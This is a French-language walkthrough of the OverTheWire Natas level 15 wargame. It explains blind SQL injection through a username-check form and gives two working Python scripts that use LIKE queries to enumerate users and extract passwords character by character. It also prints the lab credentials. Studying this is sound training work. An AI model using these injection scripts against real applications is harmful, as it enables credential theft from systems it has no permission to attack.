Niveau 15

Natas 15

Level Goal

Username: natas15
Password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
URL: http://natas15.natas.labs.overthewire.org

En se connectant à la page du challenge 15 (curl http://natas15.natas.labs.overthewire.org -u natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J) on accède à un formulaire permettant de valider l'existence d'un nom d'utilisateur dans une base de donnée :

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>

Avec le code source suivant :

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?> 

Ici il n'y a pas de possibilité pour pouvoir afficher directement des informations concernant un utilisateur. Trois scénarios sont possibles :

Une solution pour résoudre ce problème est d'utiliser l'opérateur SQL LIKE. En effet, sachant qu'on peut exécuter la requête SQL de notre choix, si l'on demande au serveur d'exécuter :

SELECT * from users where username="" or username LIKE 'a%' #

Deux réponses sont possibles :

Si l'on obtient un message nous confirmant que l'utilisateur existe, il ne nous reste plus qu'à essayer l'ensemble des combinaisons à 2 lettres possibles : aa, ab, ac etc.

Ainsi on aura la possibilité d'identifier l'ensemble des utilisateurs de la base de donnée. La même chose est possible avec les mots de passe utilisateurs : on peut identifier la liste des caractères composants un mot de passe un à un : sachant que jusqu'à maintenant les mots de passe d'épreuve étaient composés d'une suite de 32 caractères alphanumériques (62 caractères possibles), il faudra dans le pire des cas 32 x 62 = 1984 essais pour déterminer le mot de passe d'un utilisateur.

Trouver les noms d'utilisateurs

Cette attaque par force brute peut être implémentée en python :

import requests
import string


CHARACTERS = string.ascii_lowercase + string.digits
USERNAMES = []

def query(username):
  exploit = f"""" or username LIKE '{username}%' #"""
  payload = {"username": exploit}
  response = requests.get(
      "http://natas15.natas.labs.overthewire.org",
      params=payload,
      auth=requests.auth.HTTPBasicAuth("natas15", "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"),
  )
  return response.text

def testUsername(username=""):
  new_char = False
  for i in range(0, len(CHARACTERS)):
    if("This user exists" in query(f"{username}{CHARACTERS[i]}")):
      new_char = True
      testUsername(f"{username}{CHARACTERS[i]}")
  if(len(username) and not new_char):
    USERNAMES.append(username)
testUsername()

print(USERNAMES)

La façon dont ce script fonctionne est la suivante :

En exécutant ce script on obtient la liste des utilisateurs :

['alice', 'bob', 'charlie', 'natas16']

Trouver les mots de passe des utilisateurs

En se basant sur le code ci-dessus et en l'adaptant on peut écrire ce script Python :

import requests
import string


CHARACTERS = string.ascii_letters + string.digits
USERNAMES = ["alice", "bob", "charlie", "natas16"]
PASSWORDS = {}


def query(username, password):
    exploit = f"""{username}" and password LIKE BINARY '{password}%' #"""
    payload = {"username": exploit}
    response = requests.get(
        "http://natas15.natas.labs.overthewire.org",
        params=payload,
        auth=requests.auth.HTTPBasicAuth("natas15", "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"),
    )
    return response.text


def testPassword(username="", password=""):
    new_char = False
    for i in range(0, len(CHARACTERS)):
        if "This user exists" in query(username, f"{password}{CHARACTERS[i]}"):
            new_char = True
            testPassword(username, f"{password}{CHARACTERS[i]}")
    if len(password) and not new_char:
        PASSWORDS[username] = password


for name in USERNAMES:
    testPassword(name)

print(PASSWORDS)

L'utilisation de LIKE BINARY dans la requête SQL permet de s'assurer que la requête est sensible à la casse, ce qui permet de distinguer majuscule et minuscule dans le mot de passe.

En exécutant ce script on obtient la liste des utilisateurs avec les mots de passe associés :

{'alice': 'hROtsfM734', 'bob': '6P151OntQe', 'charlie': 'HLwuGKts2w', 'natas16': 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'}